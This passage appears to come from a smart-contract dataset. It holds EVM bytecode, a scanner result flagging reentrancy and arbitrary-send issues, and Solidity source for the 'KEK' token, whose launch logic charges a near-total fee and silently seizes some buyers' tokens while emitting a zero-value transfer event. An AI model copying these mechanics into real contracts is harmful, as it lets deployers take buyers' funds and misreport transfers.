} | 0x6080604052600436106101db5760003560e01c806374010ece11610102578063a2a957bb11610095578063c492f04611610064578063c492f0461461054f578063dd62ed3e1461056f578063ea1644d5146105b5578063f2fde38b146105d557600080fd5b8063a2a957bb146104ca578063a9059cbb146104ea578063bfd792841461050a578063c3c8cd801461053a57600080fd5b80638f70ccf7116100d15780638f70ccf7146104745780638f9a55c01461049457806395d89b411461020957806398a5c315146104aa57600080fd5b806374010ece146103f35780637d1db4a5146104135780637f2feddc146104295780638da5cb5b1461045657600080fd5b80632fd689e31161017a5780636d8aa8f8116101495780636d8aa8f8146103895780636fc3eaec146103a957806370a08231146103be578063715018a6146103de57600080fd5b80632fd689e314610317578063313ce5671461032d57806349bd5a5e146103495780636b9990531461036957600080fd5b8063095ea7b3116101b6578063095ea7b31461026a5780631694505e1461029a57806318160ddd146102d257806323b872dd146102f757600080fd5b8062b8cf2a146101e757806306fdde0314610209578063093bb7201461024a57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611a54565b6105f5565b005b34801561021557600080fd5b506040805180820182526009815268416c69656e4b69626160b81b602082015290516102419190611b19565b60405180910390f35b34801561025657600080fd5b50610207610265366004611b7e565b61071b565b34801561027657600080fd5b5061028a610285366004611b99565b610763565b6040519015158152602001610241565b3480156102a657600080fd5b506013546102ba906001600160a01b031681565b6040516001600160a01b039091168152602001610241565b3480156102de57600080fd5b50670de0b6b3a76400005b604051908152602001610241565b34801561030357600080fd5b5061028a610312366004611bc5565b61077a565b34801561032357600080fd5b506102e960175481565b34801561033957600080fd5b5060405160098152602001610241565b34801561035557600080fd5b506014546102ba906001600160a01b031681565b34801561037557600080fd5b50610207610384366004611c06565b6107e3565b34801561039557600080fd5b506102076103a4366004611b7e565b61082e565b3480156103b557600080fd5b50610207610876565b3480156103ca57600080fd5b506102e96103d9366004611c06565b6108a3565b3480156103ea57600080fd5b506102076108c5565b3480156103ff57600080fd5b5061020761040e366004611c23565b610939565b34801561041f57600080fd5b506102e960155481565b34801561043557600080fd5b506102e9610444366004611c06565b60116020526000908152604090205481565b34801561046257600080fd5b506000546001600160a01b03166102ba565b34801561048057600080fd5b5061020761048f366004611b7e565b61097b565b3480156104a057600080fd5b506102e960165481565b3480156104b657600080fd5b506102076104c5366004611c23565b6109da565b3480156104d657600080fd5b506102076104e5366004611c3c565b610a09565b3480156104f657600080fd5b5061028a610505366004611b99565b610a63565b34801561051657600080fd5b5061028a610525366004611c06565b60106020526000908152604090205460ff1681565b34801561054657600080fd5b50610207610a70565b34801561055b57600080fd5b5061020761056a366004611c6e565b610aa6565b34801561057b57600080fd5b506102e961058a366004611cf2565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c157600080fd5b506102076105d0366004611c23565b610b47565b3480156105e157600080fd5b506102076105f0366004611c06565b610b76565b6000546001600160a01b031633146106285760405162461bcd60e51b815260040161061f90611d2b565b60405180910390fd5b60005b81518110156107175760145482516001600160a01b039091169083908390811061065757610657611d60565b60200260200101516001600160a01b0316141580156106a8575060135482516001600160a01b039091169083908390811061069457610694611d60565b60200260200101516001600160a01b031614155b15610705576001601060008484815181106106c5576106c5611d60565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061070f81611d8c565b91505061062b565b5050565b6000546001600160a01b031633146107455760405162461bcd60e51b815260040161061f90611d2b565b60148054911515600160b81b0260ff60b81b19909216919091179055565b6000610770338484610c60565b5060015b92915050565b6000610787848484610d84565b6107d984336107d485604051806060016040528060288152602001611ea6602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112e2565b610c60565b5060019392505050565b6000546001600160a01b0316331461080d5760405162461bcd60e51b815260040161061f90611d2b565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146108585760405162461bcd60e51b815260040161061f90611d2b565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b03161461089657600080fd5b476108a08161131c565b50565b6001600160a01b03811660009081526002602052604081205461077490611356565b6000546001600160a01b031633146108ef5760405162461bcd60e51b815260040161061f90611d2b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109635760405162461bcd60e51b815260040161061f90611d2b565b6611c37937e08000811161097657600080fd5b601555565b6000546001600160a01b031633146109a55760405162461bcd60e51b815260040161061f90611d2b565b601454600160a01b900460ff16156109bc57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610a045760405162461bcd60e51b815260040161061f90611d2b565b601755565b6000546001600160a01b03163314610a335760405162461bcd60e51b815260040161061f90611d2b565b60095482111580610a465750600b548111155b610a4f57600080fd5b600893909355600a91909155600955600b55565b6000610770338484610d84565b6012546001600160a01b0316336001600160a01b031614610a9057600080fd5b6000610a9b306108a3565b90506108a0816113da565b6000546001600160a01b03163314610ad05760405162461bcd60e51b815260040161061f90611d2b565b60005b82811015610b41578160056000868685818110610af257610af2611d60565b9050602002016020810190610b079190611c06565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b3981611d8c565b915050610ad3565b50505050565b6000546001600160a01b03163314610b715760405162461bcd60e51b815260040161061f90611d2b565b601655565b6000546001600160a01b03163314610ba05760405162461bcd60e51b815260040161061f90611d2b565b6001600160a01b038116610c055760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161061f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610cc25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161061f565b6001600160a01b038216610d235760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161061f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610de85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161061f565b6001600160a01b038216610e4a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161061f565b60008111610eac5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161061f565b6000546001600160a01b03848116911614801590610ed857506000546001600160a01b03838116911614155b156111db57601454600160a01b900460ff16610f71576000546001600160a01b03848116911614610f715760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161061f565b601454600160b81b900460ff16610fd457601554811115610fd45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161061f565b6001600160a01b03831660009081526010602052604090205460ff1615801561101657506001600160a01b03821660009081526010602052604090205460ff16155b61106e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161061f565b6014546001600160a01b0383811691161461110457601454600160b81b900460ff1661110457601654816110a1846108a3565b6110ab9190611da7565b106111045760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161061f565b600061110f306108a3565b6017546015549192508210159082106111285760155491505b80801561113f5750601454600160a81b900460ff16155b801561115957506014546001600160a01b03868116911614155b801561116e5750601454600160b01b900460ff165b801561119357506001600160a01b03851660009081526005602052604090205460ff16155b80156111b857506001600160a01b03841660009081526005602052604090205460ff16155b156111d8576111c6826113da565b4780156111d6576111d64761131c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061121d57506001600160a01b03831660009081526005602052604090205460ff165b8061124f57506014546001600160a01b0385811691161480159061124f57506014546001600160a01b03848116911614155b1561125c575060006112d6565b6014546001600160a01b03858116911614801561128757506013546001600160a01b03848116911614155b1561129957600854600c55600954600d555b6014546001600160a01b0384811691161480156112c457506013546001600160a01b03858116911614155b156112d657600a54600c55600b54600d555b610b4184848484611563565b600081848411156113065760405162461bcd60e51b815260040161061f9190611b19565b5060006113138486611dbf565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610717573d6000803e3d6000fd5b60006006548211156113bd5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161061f565b60006113c7611591565b90506113d383826115b4565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061142257611422611d60565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561147657600080fd5b505afa15801561148a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ae9190611dd6565b816001815181106114c1576114c1611d60565b6001600160a01b0392831660209182029290920101526013546114e79130911684610c60565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611520908590600090869030904290600401611df3565b600060405180830381600087803b15801561153a57600080fd5b505af115801561154e573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611570576115706115f6565b61157b848484611624565b80610b4157610b41600e54600c55600f54600d55565b600080600061159e61171b565b90925090506115ad82826115b4565b9250505090565b60006113d383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061175b565b600c541580156116065750600d54155b1561160d57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061163687611789565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061166890876117e6565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116979086611828565b6001600160a01b0389166000908152600260205260409020556116b981611887565b6116c384836118d1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161170891815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061173682826115b4565b82101561175257505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361177c5760405162461bcd60e51b815260040161061f9190611b19565b5060006113138486611e64565b60008060008060008060008060006117a68a600c54600d546118f5565b92509250925060006117b6611591565b905060008060006117c98e87878761194a565b919e509c509a509598509396509194505050505091939550919395565b60006113d383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e2565b6000806118358385611da7565b9050838110156113d35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161061f565b6000611891611591565b9050600061189f838361199a565b306000908152600260205260409020549091506118bc9082611828565b30600090815260026020526040902055505050565b6006546118de90836117e6565b6006556007546118ee9082611828565b6007555050565b600080808061190f6064611909898961199a565b906115b4565b9050600061192260646119098a8961199a565b9050600061193a826119348b866117e6565b906117e6565b9992985090965090945050505050565b6000808080611959888661199a565b90506000611967888761199a565b90506000611975888861199a565b905060006119878261193486866117e6565b939b939a50919850919650505050505050565b6000826119a957506000610774565b60006119b58385611e86565b9050826119c28583611e64565b146113d35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161061f565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108a057600080fd5b8035611a4f81611a2f565b919050565b60006020808385031215611a6757600080fd5b823567ffffffffffffffff80821115611a7f57600080fd5b818501915085601f830112611a9357600080fd5b813581811115611aa557611aa5611a19565b8060051b604051601f19603f83011681018181108582111715611aca57611aca611a19565b604052918252848201925083810185019188831115611ae857600080fd5b938501935b82851015611b0d57611afe85611a44565b84529385019392850192611aed565b98975050505050505050565b600060208083528351808285015260005b81811015611b4657858101830151858201604001528201611b2a565b81811115611b58576000604083870101525b50601f01601f1916929092016040019392505050565b80358015158114611a4f57600080fd5b600060208284031215611b9057600080fd5b6113d382611b6e565b60008060408385031215611bac57600080fd5b8235611bb781611a2f565b946020939093013593505050565b600080600060608486031215611bda57600080fd5b8335611be581611a2f565b92506020840135611bf581611a2f565b929592945050506040919091013590565b600060208284031215611c1857600080fd5b81356113d381611a2f565b600060208284031215611c3557600080fd5b5035919050565b60008060008060808587031215611c5257600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611c8357600080fd5b833567ffffffffffffffff80821115611c9b57600080fd5b818601915086601f830112611caf57600080fd5b813581811115611cbe57600080fd5b8760208260051b8501011115611cd357600080fd5b602092830195509350611ce99186019050611b6e565b90509250925092565b60008060408385031215611d0557600080fd5b8235611d1081611a2f565b91506020830135611d2081611a2f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611da057611da0611d76565b5060010190565b60008219821115611dba57611dba611d76565b500190565b600082821015611dd157611dd1611d76565b500390565b600060208284031215611de857600080fd5b81516113d381611a2f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e435784516001600160a01b031683529383019391830191600101611e1e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e8157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ea057611ea0611d76565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122025ba43dca06512c37b54bfd1a9039b7424d4972bb63d2d8ca942189719bc738964736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,601 |
0x5236a2a750b0bec77e0fff85789ae9b253f83011 | /**
__ __ ________ __ __ ________ __
| \ / \| \| \ / \ | \ | \
| $$ / $$| $$$$$$$$| $$ / $$ \$$$$$$$$______ | $$ __ ______ _______
| $$/ $$ | $$__ | $$/ $$ | $$ / \ | $$ / \ / \ | \
| $$ $$ | $$ \ | $$ $$ | $$ | $$$$$$\| $$_/ $$| $$$$$$\| $$$$$$$\
| $$$$$\ | $$$$$ | $$$$$\ | $$ | $$ | $$| $$ $$ | $$ $$| $$ | $$
| $$ \$$\ | $$_____ | $$ \$$\ | $$ | $$__/ $$| $$$$$$\ | $$$$$$$$| $$ | $$
| $$ \$$\| $$ \| $$ \$$\ | $$ \$$ $$| $$ \$$\ \$$ \| $$ | $$
\$$ \$$ \$$$$$$$$ \$$ \$$ \$$ \$$$$$$ \$$ \$$ \$$$$$$$ \$$ \$$
Website: https://www.kektoken.info/
Twitter: https://twitter.com/KEK_TOKEN
Telegram: https://t.me/KEKTokenOfficial
*/
pragma solidity ^0.7.6;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* BEP20 standard interface.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* Allows for contract ownership along with multi-address authorization
*/
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
/**
* Function modifier to require caller to be contract owner
*/
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER"); _;
}
/**
* Function modifier to require caller to be authorized
*/
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
}
/**
* Authorize address. Owner only
*/
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
/**
* Remove address' authorization. Owner only
*/
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
/**
* Check if address is owner
*/
function isOwner(address account) public view returns (bool) {
return account == owner;
}
/**
* Return address' authorization status
*/
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
/**
* Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
*/
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract KEK is IERC20, Auth {
using SafeMath for uint256;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
string constant _name = 'KEK';
string constant _symbol = 'KEK';
uint8 constant _decimals = 9;
uint256 _totalSupply = 1000000000000000 * (10 ** _decimals);
uint256 _maxTxAmount = _totalSupply / 100;
uint256 _maxWalletAmount = _totalSupply / 50;
uint256 initialswapback = 0;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping(address => uint256) _holderLastTransferTimestamp;
uint256 liquidityFee = 60;
uint256 marketingFee = 40;
uint256 totalFee = 100;
uint256 feeDenominator = 1000;
address public autoLiquidityReceiver;
address public marketingFeeReceiver;
IDEXRouter public router;
address public pair;
uint256 public launchedAt;
uint256 public launchedTime;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply / 10000; // 0.01%
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor () Auth(msg.sender) {
router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
_allowances[address(this)][address(router)] = uint256(-1);
isFeeExempt[owner] = true;
isTxLimitExempt[owner] = true;
isTxLimitExempt[address(this)] = true;
autoLiquidityReceiver = msg.sender;
marketingFeeReceiver = address(0xA170be8502FF99c156cAaEfAdC0369871551a54C);
_balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != uint256(-1)){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _simpleTransfer(sender, recipient, amount);}
if(shouldSwapBack()){ if(block.timestamp >= launchedTime + 1 minutes && initialswapback == 0){
swapBackInitial();} else{swapBack();}
}
if(!launched() && recipient == pair){ require(_balances[sender] > 0); launch(); }
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
if(launchMode() && recipient != pair){require (_balances[recipient] + amount <= _maxWalletAmount);}
if(launchMode() && recipient != pair && block.timestamp < _holderLastTransferTimestamp[recipient] + 20){
_holderLastTransferTimestamp[recipient] = block.timestamp;
_balances[address(this)] = _balances[address(this)].add(amount);
emit Transfer(sender, recipient, 0);
emit Transfer(sender, address(this), amount);
return true;}
_holderLastTransferTimestamp[recipient] = block.timestamp;
uint256 amountReceived;
if(!isFeeExempt[recipient]){amountReceived= shouldTakeFee(sender) ? takeFee(sender, amount) : amount;}else{amountReceived = amount;}
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _simpleTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function getTotalFee() public view returns (uint256) {
if(launchedAt + 3 > block.number){ return feeDenominator.sub(1); }
return totalFee;
}
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function takeFee(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount;
if(launchMode() && amount > _maxTxAmount){
feeAmount = amount.sub(_maxTxAmount);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);}
feeAmount = amount.mul(getTotalFee()).div(feeDenominator);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function swapBack() internal swapping {
uint256 amountToLiquify = swapThreshold.mul(liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = swapThreshold.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp+360
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
payable(marketingFeeReceiver).transfer(amountETHMarketing);
if(amountToLiquify > 0){
router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp+360
);
initialswapback = initialswapback +1;
emit AutoLiquify(amountETHLiquidity, amountToLiquify);
}
}
function swapBackInitial() internal swapping {
uint256 amountToLiquify = balanceOf(address(this)).mul(liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = balanceOf(address(this)).sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp+360
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
payable(marketingFeeReceiver).transfer(amountETHMarketing);
if(amountToLiquify > 0){
router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp+360
);
initialswapback = initialswapback +1;
emit AutoLiquify(amountETHLiquidity, amountToLiquify);
}
}
function launched() internal view returns (bool) {
return launchedAt != 0;
}
function launch() internal{
require(!launched());
launchedAt = block.number;
launchedTime = block.timestamp;
}
function justinCaseofClog()external authorized{
swapBackInitial();
}
function manuallySwap()external authorized{
swapBack();
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
}
function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver) external onlyOwner {
autoLiquidityReceiver = _autoLiquidityReceiver;
marketingFeeReceiver = _marketingFeeReceiver;
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
swapEnabled = _enabled;
swapThreshold =_totalSupply.div(_amount);
}
function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _feeDenominator) external authorized {
liquidityFee = _liquidityFee;
marketingFee = _marketingFee;
totalFee = _liquidityFee.add(_marketingFee);
feeDenominator = _feeDenominator;
require(totalFee < feeDenominator/5);
}
function launchModeStatus() external view returns(bool) {
return launchMode();
}
function launchMode() internal view returns(bool) {
return launchedAt !=0 && launchedAt + 3 < block.number && launchedTime + 2 minutes >= block.timestamp ;
}
function recoverEth() external onlyOwner() {
payable(msg.sender).transfer(address(this).balance);
}
function recoverToken(address _token, uint256 amount) external authorized returns (bool _sent){
_sent = IERC20(_token).transfer(msg.sender, amount);
}
event AutoLiquify(uint256 amountETH, uint256 amountToken);
} | 0x6080604052600436106101fd5760003560e01c8063a4b45c001161010d578063cec10c11116100a0578063e96fada21161006f578063e96fada214610ae1578063f0b37c0414610b22578063f2fde38b14610b73578063f887ea4014610bc4578063fe9fbb8014610c0557610204565b8063cec10c11146109af578063d43f5d6c146109fe578063dd62ed3e14610a15578063df20fd4914610a9a57610204565b8063b6a5d7de116100dc578063b6a5d7de146108db578063bcdb446b1461092c578063bf56b37114610943578063ca33e64c1461096e57610204565b8063a4b45c0014610747578063a8aa1b31146107b8578063a9059cbb146107f9578063b29a81401461086a57610204565b8063571ac8b0116101905780636ddd17131161015f5780636ddd1713146105b957806370a08231146105e65780637ae316d01461064b578063893d20e81461067657806395d89b41146106b757610204565b8063571ac8b0146104b35780635804f1e41461051a5780635fe7208c14610545578063658d4b7f1461055c57610204565b806323b872dd116101cc57806323b872dd146103605780632f54bf6e146103f1578063313ce567146104585780634d54288b1461048657610204565b80630445b6671461020957806306fdde0314610234578063095ea7b3146102c457806318160ddd1461033557610204565b3661020457005b600080fd5b34801561021557600080fd5b5061021e610c6c565b6040518082815260200191505060405180910390f35b34801561024057600080fd5b50610249610c72565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028957808201518184015260208101905061026e565b50505050905090810190601f1680156102b65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102d057600080fd5b5061031d600480360360408110156102e757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610caf565b60405180821515815260200191505060405180910390f35b34801561034157600080fd5b5061034a610da1565b6040518082815260200191505060405180910390f35b34801561036c57600080fd5b506103d96004803603606081101561038357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dab565b60405180821515815260200191505060405180910390f35b3480156103fd57600080fd5b506104406004803603602081101561041457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fab565b60405180821515815260200191505060405180910390f35b34801561046457600080fd5b5061046d611004565b604051808260ff16815260200191505060405180910390f35b34801561049257600080fd5b5061049b61100d565b60405180821515815260200191505060405180910390f35b3480156104bf57600080fd5b50610502600480360360208110156104d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061101c565b60405180821515815260200191505060405180910390f35b34801561052657600080fd5b5061052f61104f565b6040518082815260200191505060405180910390f35b34801561055157600080fd5b5061055a611055565b005b34801561056857600080fd5b506105b76004803603604081101561057f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506110da565b005b3480156105c557600080fd5b506105ce6111b0565b60405180821515815260200191505